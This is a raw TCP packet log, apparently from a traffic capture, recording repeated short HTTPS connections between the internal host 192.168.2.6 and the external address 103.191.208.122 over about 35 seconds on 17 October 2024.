Oct 17, 2024 10:52:35.270376921 CEST	49747	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:35.270401001 CEST	443	49747	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:35.270406008 CEST	49747	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:35.270440102 CEST	49747	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:35.271151066 CEST	49747	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:35.272025108 CEST	49753	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:35.272124052 CEST	443	49753	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:35.272217035 CEST	49753	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:35.272511959 CEST	49753	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:35.272547960 CEST	443	49753	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:36.369231939 CEST	443	49753	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:36.371612072 CEST	49753	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:36.371649981 CEST	443	49753	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:36.742672920 CEST	443	49753	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:36.742706060 CEST	443	49753	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:36.742783070 CEST	443	49753	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:36.742851019 CEST	49753	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:36.742923021 CEST	49753	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:36.743716955 CEST	49753	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:36.744873047 CEST	49767	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:36.744925976 CEST	443	49767	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:36.744999886 CEST	49767	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:36.745367050 CEST	49767	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:36.745378971 CEST	443	49767	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:37.855686903 CEST	443	49767	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:37.858753920 CEST	49767	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:37.858835936 CEST	443	49767	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:38.245894909 CEST	443	49767	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:38.245922089 CEST	443	49767	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:38.246011972 CEST	443	49767	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:38.246037006 CEST	49767	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:38.246103048 CEST	49767	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:38.247052908 CEST	49767	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:38.247783899 CEST	49778	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:38.247827053 CEST	443	49778	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:38.247891903 CEST	49778	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:38.248246908 CEST	49778	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:38.248262882 CEST	443	49778	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:39.358221054 CEST	443	49778	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:39.369884014 CEST	49778	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:39.369923115 CEST	443	49778	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:39.738168001 CEST	443	49778	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:39.738190889 CEST	443	49778	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:39.738255024 CEST	443	49778	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:39.738274097 CEST	49778	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:39.738331079 CEST	49778	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:39.739857912 CEST	49778	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:39.740499973 CEST	49785	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:39.740540981 CEST	443	49785	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:39.740611076 CEST	49785	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:39.741027117 CEST	49785	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:39.741043091 CEST	443	49785	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:40.882055998 CEST	443	49785	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:40.884031057 CEST	49785	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:40.884059906 CEST	443	49785	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:41.262361050 CEST	443	49785	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:41.262381077 CEST	443	49785	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:41.262460947 CEST	443	49785	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:41.262470961 CEST	49785	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:41.262526035 CEST	49785	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:41.263355017 CEST	49785	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:41.264199972 CEST	49795	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:41.264245033 CEST	443	49795	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:41.264338017 CEST	49795	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:41.264645100 CEST	49795	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:41.264659882 CEST	443	49795	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:42.373931885 CEST	443	49795	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:42.376303911 CEST	49795	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:42.376332998 CEST	443	49795	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:42.750668049 CEST	443	49795	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:42.750693083 CEST	443	49795	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:42.750765085 CEST	443	49795	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:42.750809908 CEST	49795	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:42.750861883 CEST	49795	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:42.751523018 CEST	49795	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:42.752214909 CEST	49802	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:42.752252102 CEST	443	49802	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:42.752362013 CEST	49802	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:42.752679110 CEST	49802	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:42.752690077 CEST	443	49802	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:43.887073994 CEST	443	49802	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:43.889951944 CEST	49802	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:43.889966965 CEST	443	49802	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:44.260706902 CEST	443	49802	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:44.260746956 CEST	443	49802	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:44.260837078 CEST	443	49802	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:44.261045933 CEST	49802	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:44.261045933 CEST	49802	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:44.261723995 CEST	49802	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:44.262502909 CEST	49813	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:44.262537956 CEST	443	49813	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:44.262624979 CEST	49813	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:44.262945890 CEST	49813	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:44.262960911 CEST	443	49813	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:45.355137110 CEST	443	49813	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:45.357419968 CEST	49813	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:45.357456923 CEST	443	49813	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:45.720737934 CEST	443	49813	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:45.720767975 CEST	443	49813	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:45.720838070 CEST	443	49813	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:45.720976114 CEST	49813	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:45.720976114 CEST	49813	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:45.721996069 CEST	49813	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:45.722909927 CEST	49823	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:45.722945929 CEST	443	49823	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:45.723026991 CEST	49823	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:45.723337889 CEST	49823	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:45.723350048 CEST	443	49823	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:46.840102911 CEST	443	49823	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:46.842350960 CEST	49823	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:46.842360973 CEST	443	49823	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:47.218415022 CEST	443	49823	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:47.218441010 CEST	443	49823	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:47.218494892 CEST	443	49823	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:47.218565941 CEST	49823	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:47.219270945 CEST	49823	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:47.220103025 CEST	49830	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:47.220150948 CEST	443	49830	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:47.220223904 CEST	49830	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:47.220521927 CEST	49830	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:47.220537901 CEST	443	49830	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:48.364518881 CEST	443	49830	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:48.366437912 CEST	49830	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:48.366482973 CEST	443	49830	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:48.744812012 CEST	443	49830	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:48.744841099 CEST	443	49830	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:48.744908094 CEST	443	49830	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:48.744968891 CEST	49830	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:48.745017052 CEST	49830	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:48.745771885 CEST	49830	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:48.746651888 CEST	49842	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:48.746702909 CEST	443	49842	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:48.746769905 CEST	49842	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:48.747090101 CEST	49842	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:48.747102976 CEST	443	49842	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:49.882108927 CEST	443	49842	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:49.884342909 CEST	49842	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:49.884371042 CEST	443	49842	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:50.262353897 CEST	443	49842	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:50.262376070 CEST	443	49842	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:50.262428045 CEST	443	49842	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:50.262466908 CEST	49842	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:50.262509108 CEST	49842	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:50.263170004 CEST	49842	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:50.263952971 CEST	49852	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:50.263999939 CEST	443	49852	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:50.267266989 CEST	49852	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:50.274408102 CEST	49852	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:50.274445057 CEST	443	49852	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:51.421596050 CEST	443	49852	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:51.423978090 CEST	49852	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:51.424009085 CEST	443	49852	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:51.805977106 CEST	443	49852	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:51.805998087 CEST	443	49852	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:51.806054115 CEST	443	49852	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:51.806242943 CEST	49852	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:51.807318926 CEST	49852	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:51.808208942 CEST	49859	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:51.808305979 CEST	443	49859	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:51.808396101 CEST	49859	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:51.808689117 CEST	49859	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:51.808722019 CEST	443	49859	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:52.892672062 CEST	443	49859	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:52.894743919 CEST	49859	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:52.894773006 CEST	443	49859	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:53.265064955 CEST	443	49859	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:53.265085936 CEST	443	49859	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:53.265158892 CEST	443	49859	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:53.265161037 CEST	49859	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:53.265207052 CEST	49859	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:53.266009092 CEST	49859	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:53.266932964 CEST	49869	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:53.266962051 CEST	443	49869	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:53.267158031 CEST	49869	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:53.267569065 CEST	49869	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:53.267580032 CEST	443	49869	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:54.394076109 CEST	443	49869	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:54.401552916 CEST	49869	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:54.401562929 CEST	443	49869	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:54.777203083 CEST	443	49869	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:54.777229071 CEST	443	49869	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:54.777283907 CEST	443	49869	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:54.777409077 CEST	49869	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:54.777409077 CEST	49869	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:54.779690981 CEST	49869	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:54.780113935 CEST	49876	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:54.780163050 CEST	443	49876	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:54.780245066 CEST	49876	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:54.780580044 CEST	49876	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:54.780591965 CEST	443	49876	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:55.888957024 CEST	443	49876	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:55.891877890 CEST	49876	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:55.891917944 CEST	443	49876	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:56.266983032 CEST	443	49876	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:56.267011881 CEST	443	49876	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:56.267076015 CEST	443	49876	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:56.267123938 CEST	49876	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:56.267213106 CEST	49876	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:56.268030882 CEST	49876	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:56.268879890 CEST	49887	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:56.268927097 CEST	443	49887	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:56.269006968 CEST	49887	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:56.269367933 CEST	49887	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:56.269380093 CEST	443	49887	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:57.368864059 CEST	443	49887	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:57.371402025 CEST	49887	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:57.371428013 CEST	443	49887	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:57.742127895 CEST	443	49887	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:57.742162943 CEST	443	49887	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:57.742233992 CEST	443	49887	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:57.742415905 CEST	49887	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:57.743546009 CEST	49887	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:57.744478941 CEST	49897	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:57.744522095 CEST	443	49897	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:57.744595051 CEST	49897	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:57.744887114 CEST	49897	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:57.744896889 CEST	443	49897	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:58.854370117 CEST	443	49897	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:58.856302977 CEST	49897	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:58.856343985 CEST	443	49897	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:59.241102934 CEST	443	49897	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:59.241132975 CEST	443	49897	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:59.241190910 CEST	443	49897	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:59.241317034 CEST	49897	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:59.241430998 CEST	49897	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:59.242438078 CEST	49897	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:59.243475914 CEST	49904	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:59.243597984 CEST	443	49904	103.191.208.122	192.168.2.6
Oct 17, 2024 10:52:59.243700981 CEST	49904	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:59.243999958 CEST	49904	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:52:59.244038105 CEST	443	49904	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:00.593770027 CEST	443	49904	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:00.595938921 CEST	49904	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:00.596052885 CEST	443	49904	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:00.962819099 CEST	443	49904	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:00.962845087 CEST	443	49904	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:00.962903976 CEST	443	49904	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:00.963000059 CEST	49904	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:00.963186979 CEST	49904	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:00.964103937 CEST	49904	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:00.964880943 CEST	49915	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:00.964924097 CEST	443	49915	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:00.964993954 CEST	49915	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:00.965270996 CEST	49915	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:00.965287924 CEST	443	49915	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:02.060228109 CEST	443	49915	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:02.063447952 CEST	49915	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:02.063529015 CEST	443	49915	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:02.435926914 CEST	443	49915	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:02.435957909 CEST	443	49915	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:02.436027050 CEST	443	49915	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:02.436104059 CEST	49915	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:02.436132908 CEST	49915	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:02.446310997 CEST	49915	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:02.452249050 CEST	49925	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:02.452327013 CEST	443	49925	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:02.452431917 CEST	49925	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:02.452747107 CEST	49925	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:02.452775002 CEST	443	49925	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:03.543530941 CEST	443	49925	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:03.545535088 CEST	49925	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:03.545557976 CEST	443	49925	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:03.912928104 CEST	443	49925	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:03.912950039 CEST	443	49925	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:03.912998915 CEST	443	49925	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:03.913072109 CEST	49925	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:03.913120985 CEST	49925	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:03.913907051 CEST	49925	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:03.914683104 CEST	49936	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:03.914716959 CEST	443	49936	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:03.914778948 CEST	49936	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:03.915050030 CEST	49936	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:03.915066957 CEST	443	49936	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:04.998712063 CEST	443	49936	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:05.043416023 CEST	49936	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:05.050420046 CEST	49936	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:05.050440073 CEST	443	49936	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:05.414804935 CEST	443	49936	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:05.414828062 CEST	443	49936	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:05.414834023 CEST	443	49936	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:05.414899111 CEST	443	49936	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:05.414926052 CEST	49936	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:05.414962053 CEST	49936	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:05.415728092 CEST	49936	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:05.416816950 CEST	49943	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:05.416855097 CEST	443	49943	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:05.416934013 CEST	49943	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:05.417212963 CEST	49943	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:05.417232990 CEST	443	49943	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:06.498708010 CEST	443	49943	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:06.501023054 CEST	49943	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:06.501055002 CEST	443	49943	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:06.885816097 CEST	443	49943	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:06.885893106 CEST	443	49943	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:06.885952950 CEST	49943	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:06.885978937 CEST	443	49943	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:06.886034966 CEST	443	49943	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:06.886444092 CEST	49943	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:06.886867046 CEST	49943	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:06.887515068 CEST	49953	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:06.887546062 CEST	443	49953	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:06.887628078 CEST	49953	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:06.887880087 CEST	49953	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:06.887887955 CEST	443	49953	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:07.979226112 CEST	443	49953	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:07.981336117 CEST	49953	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:07.981349945 CEST	443	49953	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:08.353463888 CEST	443	49953	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:08.353503942 CEST	443	49953	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:08.353579044 CEST	443	49953	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:08.353698969 CEST	49953	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:08.353871107 CEST	49953	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:08.354801893 CEST	49953	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:08.355505943 CEST	49962	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:08.355568886 CEST	443	49962	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:08.355645895 CEST	49962	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:08.356054068 CEST	49962	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:08.356067896 CEST	443	49962	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:09.449443102 CEST	443	49962	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:09.451407909 CEST	49962	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:09.451430082 CEST	443	49962	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:09.819919109 CEST	443	49962	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:09.819953918 CEST	443	49962	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:09.820035934 CEST	443	49962	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:09.820066929 CEST	49962	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:09.820152044 CEST	49962	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:09.820806026 CEST	49962	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:09.821618080 CEST	49971	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:09.821733952 CEST	443	49971	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:09.821983099 CEST	49971	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:09.822155952 CEST	49971	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:09.822206974 CEST	443	49971	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:10.908328056 CEST	443	49971	103.191.208.122	192.168.2.6
